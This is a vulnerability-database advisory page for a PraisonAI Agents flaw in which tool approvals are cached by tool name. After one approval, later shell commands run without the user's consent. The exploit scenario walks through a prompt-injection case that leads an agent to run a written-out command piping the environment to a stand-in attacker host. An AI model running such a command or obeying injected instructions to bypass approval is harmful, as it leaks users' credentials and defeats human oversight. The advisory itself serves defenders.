Skip to main content

PraisonAI EUVDEUVD-2026-37958

| CVE-2026-56074 MEDIUM
Incorrect Authorization (CWE-863)
2026-06-18 VulnCheck GHSA-x44p-gg67-52fc
6.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Inject malicious prompt into agent context
  2. Delivery
    Agent proposes benign shell command
  3. Exploit
    User approves execute_command (approval cached by name)
  4. Execution
    Agent issues credential-harvesting command
  5. Persist
    Subprocess inherits full os.environ
  6. Impact
    Credentials silently exfiltrated

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The following concrete conditions must all be satisfied: (1) The praisonaiagents pip package version is below 4.5.128. (2) The execute_command shell tool (from shell_tools.py) is included in the agent's tool list - this is a user-configured opt-in, not the default for all agents. (3) The agent session runs in a process whose environment contains sensitive variables (e.g., OPENAI_API_KEY, cloud provider credentials). (4) A user approves at least one execute_command invocation during the session - this initial UI:P interaction is the sole gate that is subsequently bypassed. Exploitation is limited by the local attack vector (AV:L): the adversarial instruction must reach the LLM agent's context, typically via prompt injection through external data the agent fetches or processes. Exploitation is NOT possible without prior user approval of at least one shell command in the session, and is NOT possible if shell tools are not loaded into the agent.

Impact

The CVSS 4.0 score of 6.8 (AV:L/AC:L/AT:N/PR:N/UI:P/VC:H) accurately reflects a locally-triggered, high-confidentiality-impact vulnerability requiring passive user interaction. The attack vector is local (AV:L), meaning the attacker is the LLM agent itself executing within the PraisonAI process on the local machine - typically a developer workstation or CI environment rich with secrets. The UI:P metric captures the mandatory initial approval step, which is a genuine but weak gate: users are conditioned to approve benign commands and have no indication that subsequent commands will be silently authorized. A proof-of-concept is embedded in the public GHSA advisory, significantly elevating real-world risk beyond what the mid-range score alone implies. No EPSS data was provided; no CISA KEV listing exists at time of analysis, suggesting no confirmed broad exploitation yet. However, the PoC is complete and trivial to reproduce, and the target environment (developer machines running LLM agents with shell access and loaded with API keys) is high-value. Real-world risk is above average for the affected user population despite the local attack vector.

Exploit ScenarioDerived

An attacker crafts a prompt-injection payload embedded in data the LLM agent processes (e.g., a malicious web page, document, or tool response). The agent first legitimately proposes running ls -la to list files; the user approves via the Rich console panel. The approval is cached by tool name. The injected prompt then instructs the agent to run env | curl -s -d @- https://attacker.example.com - no approval prompt is shown, the full process environment (including all API keys and cloud credentials) is passed to the subprocess via os.environ.copy(), and the data is silently exfiltrated. A complete, runnable proof-of-concept is included in the public GHSA advisory GHSA-ffp3-3562-8cv3.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

Tool approval cache bypass in PraisonAI Agents (praisonaiagents < 4.5.128) allows an LLM agent to execute arbitrary subsequent shell commands without user consent after a single initial approval. The approval system caches decisions keyed only on tool name - once a user approves execute_command for any command (e.g., ls -la), all further execute_command invocations in that agent session bypass the approval prompt entirely. Combined with os.environ.copy() passing the full process environment to every subprocess, this enables silent exfiltration of API keys and credentials; a publicly available proof-of-concept is included in the GHSA advisory. No confirmed active exploitation in CISA KEV at time of analysis.

RemediationAI

Upgrade the praisonaiagents pip package to version 4.5.128 or later, where the approval cache is expected to key on both tool name and invocation arguments. The vendor advisory is at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-ffp3-3562-8cv3 and the VulnCheck write-up at https://www.vulncheck.com/advisories/praisonai-tool-approval-cache-bypass-via-coarse-grained-caching. As a compensating control prior to patching, remove execute_command and all shell tools from agent configurations where possible - this eliminates the attack surface entirely at the cost of losing shell automation capability. Alternatively, strip sensitive environment variables (e.g., OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY) from the process environment before launching any PraisonAI agent session; however, this may break agent functionality that depends on those keys. Do not rely on the current approval UI as a security boundary - it is bypassable after a single user interaction.

Affected VersionsENISA

PraisonAI 0 <1.5.128

Affected Packages

pypi praisonaiagents fix: 4.5.128
euvd praisonai fix: 1.5.128

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

PraisonAI Agents (CPE: cpe:2.3:a:praisonai:praisonai:*:*:*:*:*:*:*:*) implements a human-in-the-loop tool approval mechanism via a require_approval decorator in src/praisonai-agents/praisonaiagents/approval/__init__.py. The root cause (CWE-863: Incorrect Authorization) is that is_already_approved() at line 177 checks approval state by tool name string alone, not by the specific invocation arguments. The mark_approved() function in registry.py:144-147 stores only the string 'execute_command', not the command being approved. The clear_approved() function exists at registry.py:152 but is never invoked during the agent's tool execution path (agent/tool_execution.py), so approval state persists for the entire session. The ConsoleBackend UI at backends.py:81-96 displays specific command arguments and asks for confirmation in a way that implies per-invocation consent ('Do you want to execute this ... risk tool?'), creating a misleading security expectation. Separately, shell_tools.py:77 passes os.environ.copy() - including all process-level secrets like OPENAI_API_KEY - to every subprocess without any environment variable sanitization or command filtering.

Know when Praisonai gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 6.8 MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 5.5 MEDIUM

Local vector (agent runs on victim machine), no privileges required but mandatory initial user interaction (UI:R); high confidentiality via full env var exfiltration, no integrity or availability impact.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 19, 2026 - 02:01 EUVD

DescriptionCVE.org

PraisonAI before 1.5.128 caches tool approval decisions by tool name only, not by invocation arguments, allowing subsequent execute_command calls to bypass approval prompts. Attackers can exploit this by obtaining initial approval for a benign command, then silently exfiltrate API keys and credentials via subsequent shell commands without user consent.

Threat Intelligence Overview

EPSS Score
0.1%
Top 98% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

CVE-2026-61447 CRITICAL POC
10.0 Jul 11

Remote code execution in PraisonAI before 1.6.78 allows attackers to run arbitrary Python on the host by manipulating th

CVE-2026-57139 CRITICAL POC
9.8 Sep 15

PraisonAI's TypeScript MCP server (npm package `praisonai`, versions 1.5.0 through 1.7.1) exposes an HTTP JSON-RPC trans

CVE-2026-57148 CRITICAL POC
9.8 Sep 15

Unauthenticated authentication bypass in praisonai-platform prior to 0.1.6 (and PraisonAI before 4.6.51) allows a remote

CVE-2026-55536 CRITICAL POC
9.1 Aug 25

WebSocket origin-validation bypass in PraisonAI's Browser Server (praisonai/browser/server.py) before 4.6.58 lets an att

CVE-2026-61426 HIGH POC
8.8 Jul 11

Unauthenticated agent access in PraisonAI before 1.7.3 lets remote attackers read agent instructions and system prompts

CVE-2026-55541 HIGH POC
8.8 Aug 25

PraisonAI's `praisonai serve` subsystem (agents and unified modes) accepts an `--api-key` CLI flag that is parsed but ne

CVE-2026-61439 HIGH POC
8.7 Jul 11

System prompt extraction and unauthorized tool invocation in PraisonAI before 4.6.78 arise because the prompt-injection

CVE-2026-55534 HIGH POC
8.6 Aug 25

Unauthenticated remote agent invocation in PraisonAI versions 4.6.34 through 4.6.57 allows any network-reachable caller

CVE-2026-55526 HIGH POC
8.5 Aug 25

SSRF protection bypass in PraisonAI's praisonaiagents library (all versions before 1.6.58) lets low-privileged users rou

CVE-2026-61429 HIGH POC
8.4 Jul 11

Server-side request forgery in PraisonAI's Crawl4AI/Chromium crawling backend (all versions before 1.6.78) lets low-priv

CVE-2026-55533 HIGH POC
8.2 Aug 25

Authentication fail-open in PraisonAI's Recipe HTTP server allows unauthenticated remote attackers to invoke recipe exec

CVE-2026-55528 HIGH POC
8.2 Aug 25

Authentication bypass in PraisonAI's AgentServer component exposes all routes - /publish, /events, /info, /health - to u

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy